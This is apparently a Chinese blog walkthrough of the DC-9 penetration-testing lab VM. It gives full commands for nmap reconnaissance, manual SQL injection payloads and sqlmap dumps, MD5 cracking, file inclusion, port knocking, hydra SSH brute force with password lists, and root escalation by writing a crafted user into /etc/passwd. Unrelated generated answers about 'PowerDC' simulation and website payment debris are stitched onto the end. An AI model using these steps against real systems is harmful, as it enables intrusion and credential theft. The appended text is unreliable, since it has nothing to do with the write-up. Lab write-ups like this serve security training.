DC-9入门练习

渗透测试实战指南

1. 信息收集

1.1nmap扫描

nmap -sP 192.168.1.0/24 -oN nmap.sP
nmap -A 192.168.1.4 -p 0-65535 -oN nmap.A

在这里插入图片描述
在这里插入图片描述

1.2指纹识别

火狐插件wappalyzer查看
在这里插入图片描述

whatweb 192.168.1.4

在这里插入图片描述

1.3扫描网站目录后台

dirb扫描:

dirb http://192.168.1.4

发现两个
在这里插入图片描述
御剑扫描后台:

在这里插入图片描述

1.4访问80

发现可能存在sql注入,但是url无参数变化
在这里插入图片描述

2.爆表

2.1burpsuit抓包分析

输入一个正常名字返回正常
在这里插入图片描述
经过多次尝试,发现存在SQL注入,且闭合为 ’
在这里插入图片描述
猜解字段数:
在这里插入图片描述
查看有哪些表:

Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述
查看有哪些字段:

=Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users' --+

在这里插入图片描述
查看字段内容:

=Moe' union select 1,2,3,4,5,(select group_concat(Username,0x3a,Password) from Users) --+
admin:856f5de590ef37314e7c3bdf6f8a66dc

在这里插入图片描述

2.2sqlmap爆破

先建一个txt文档,内容为http请求(抓包内容);
在这里插入图片描述
暴库

sqlmap -r 1.txt --dbs

列出当前数据库

sqlmap -r 1.txt --current-db

在这里插入图片描述
在这里插入图片描述
(这里是爆破users数据库,staff数据库同理,因为上面爆出来了就没报)
爆表

sqlmap -r 1.txt -D users --tables

在这里插入图片描述

爆字段

sqlmap -r 1.txt -D users -T UserDetails --columns 

在这里插入图片描述

爆值

sqlmap -r 1.txt -D users -T UserDetails --dump

在这里插入图片描述

2.3MD5解密

MD5 解密:网址
admin 856f5de590ef37314e7c3bdf6f8a66dc
admin transorbital1
在这里插入图片描述

2.4登录后台

1.发现登录后点击manage页面会多出梁个菜单,但是点击有跳转,单没有发生网页变化,猜测可能存在文件包含漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.bp抓包爆破
注:因为我们猜测存在文件包含漏洞,但是我们不知道动态包含变量的名称,以及我们查看文件路径
我们需要爆破。下面是我手工创建字典进行爆破。(这里是因为我没有强大的字典,只是告诉大家一个原理)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
结果:
在这里插入图片描述

在这里插入图片描述
虽然存在文件包含,但是我们无法上传木马获取shell,想到之前扫描到ssh端口,我们可以尝试ssh端口爆破。

3.knockd-开启ssh

knockd知识补充

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口
(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。
knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特
序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据
包来启动端口命中,也可以直接用nc敲击端口。

1.我们尝试登录ssh,但是发现无法登录,仔细查看我们发现ssh端口显示 filtered ssh因为knockd可以对SSH进行防护

在这里插入图片描述

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,
则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

有关knockd点击这里查看
我们利用文件包含查看knockdde配置文件:

[options]
   UseSyslog

[openSSH]
   sequence    = 7469,8475,9842
   seq_timeout = 25
   command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags    = syn

[closeSSH]
   sequence    = 9842,8475,7469
   seq_timeout = 25
   command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags    = syn

在这里插入图片描述
有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了

sudo nmap -p 7469 192.168.1.4
sudo nmap -p 8475 192.168.1.4
sudo nmap -p 9842 192.168.1.4

或者安装knockd
knock 192.168.1.4 7469 8475 9842	关闭
knock 192.168.1.4 9842 8475 7469    开启

然后nmap扫描查看端口是否开放

hydra爆破

这里我们先创建两个字典(之前SQL注入爆破算出来的user数据库)
user.dic

joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb

pwd.dic

Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!

hydra爆破:

 hydra -L user.dic  -P pwd.dic ssh://192.168.1.4 -o hydra.ssh -vV
 cat hydra.ssh

爆破结果:

[22][ssh] host: 192.168.1.4   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.1.4   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.1.4   login: chandlerb   password: UrAG0D!

在这里插入图片描述
ssh远程登录

ssh 用户名@目标ip
ssh  joeyt@192.168.1.4

依次登录查看家目录下所有文件(包括隐藏文件),查看是否有不需要密码的root命令

ls -al
sudo -l

发现在janitor用户下有隐藏文件,有一个密码笔记查看

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

在这里插入图片描述
我们在创建一个字典pwd2.dic
然后继续爆破

hydra -L user.dic  -P pwd2.dic ssh://192.168.1.4

发现一个新用户:
在这里插入图片描述
远程登录后查看是否有可以提权的命令:

ssh fred@192.168.1.4

在这里插入图片描述

4.提权

进入这个文件下,发现test不是一个目录文件,然后我们尝试运行,根据提示,他是一个python文件

cd /opt/devstuff/dist/test

在这里插入图片描述
使用find查找test.py文件

find / -name test.py 2>/dev/null

2>/dev/null 代表忽略掉错误提示信息。

在这里插入图片描述
查看这个python脚本:
在这里插入图片描述
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了

openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码

根据/etc/passwd的格式,修改一下,然后存入一个文件里,这个文件就是参数1

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
echo 'hpc666:0:0:0::/root:/bin/bash' >> /tmp/passwd1
    # 用户名:密码:uid:gid:家目录:登陆后使用的shell    
sudo ./test /tmp/passwd /etc/passwd1    

在这里插入图片描述

su admin
cd /root
ls
cat theflag.txt

在这里插入图片描述

### 回答1: PowerDC仿真是针对直流电源和直流系统进行仿真和优化的工具。它可以帮助我们生成电路图、进行电路分析、进行参数优化、设计新型直流系统和电源等。对于初学者来说,入门PowerDC仿真需要掌握基础的几个方面。 首先,熟悉仿真软件本身。PowerDC可以在Windows或者Linux上运行,并且提供直观的用户界面和完善的帮助文档。我们需要了解软件本身的功能和操作方式,例如如何添加元件、如何连接元件、如何设置参数等等。 其次,学会建立电路模型。在PowerDC仿真中,我们需要先建立一个电路模型,包括电路图中的元件、连接方式以及元件的参数设置。需要注意的是,建立电路模型需要具备一定的电路基础知识和数学功底。 第三,进行电路分析。在电路模型建立好之后,我们可以进行各种电路分析,例如直流分析、交流分析、温度分析等,以及对电路参数进行优化调整,以提高电路性能。 最后,学习电路优化。通过电路分析的结果,我们可以对电路进行进一步优化,例如通过改进元件参数、修改连接方式或者更换元件等方式,来提高电路性能和效率。 总的来说,PowerDC仿真是一款强大的工具,但是入门需要我们具备基础的电路知识和数学功底,不断练习和尝试,才能掌握其使用方法,成功进行电路设计和优化。 ### 回答2: PowerDC仿真是一种电力系统仿真软件,可以用于模拟电力系统的运行状态和分析系统的稳定性。本文着重介绍PowerDC仿真的入门内容,其中包括仿真软件的安装、界面介绍、仿真流程以及基本操作等方面。 首先,PowerDC仿真软件需要在电脑上进行安装。安装过程中需要注意操作系统的版本,以及软件是否与操作系统兼容。安装完成后,打开软件进入主界面。 主界面上方为菜单栏,包括文件、编辑、仿真和视图等模块。左边为操作面板,可以进行仿真模型的建立、测试和仿真结果的分析。右边为仿真模型的绘图区域,可以进行仿真模型的绘制和修改。 在PowerDC仿真中,建立仿真模型是用户的第一步。用户可以根据电力系统的实际情况选取不同的元器件和连接方式,进行仿真模型的绘制。绘制完成后,用户需要进行仿真参数的设定,如电源电压、电阻、电感、电容等。 当仿真模型建立和参数设定完成后,用户需要进行仿真运行。在仿真运行中,用户可以观察电力系统的工作状态,如各个元器件的电流、电压、功率等。同时,仿真运行还可以用于分析系统的稳定性和短路保护方案等。 除了以上基本操作外,PowerDC仿真还提供了其他功能,如参数扫描、结果显示和数据分析等。用户可以根据自身需求选择不同的功能进行使用,以达到更精细的仿真结果和更深入的分析。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值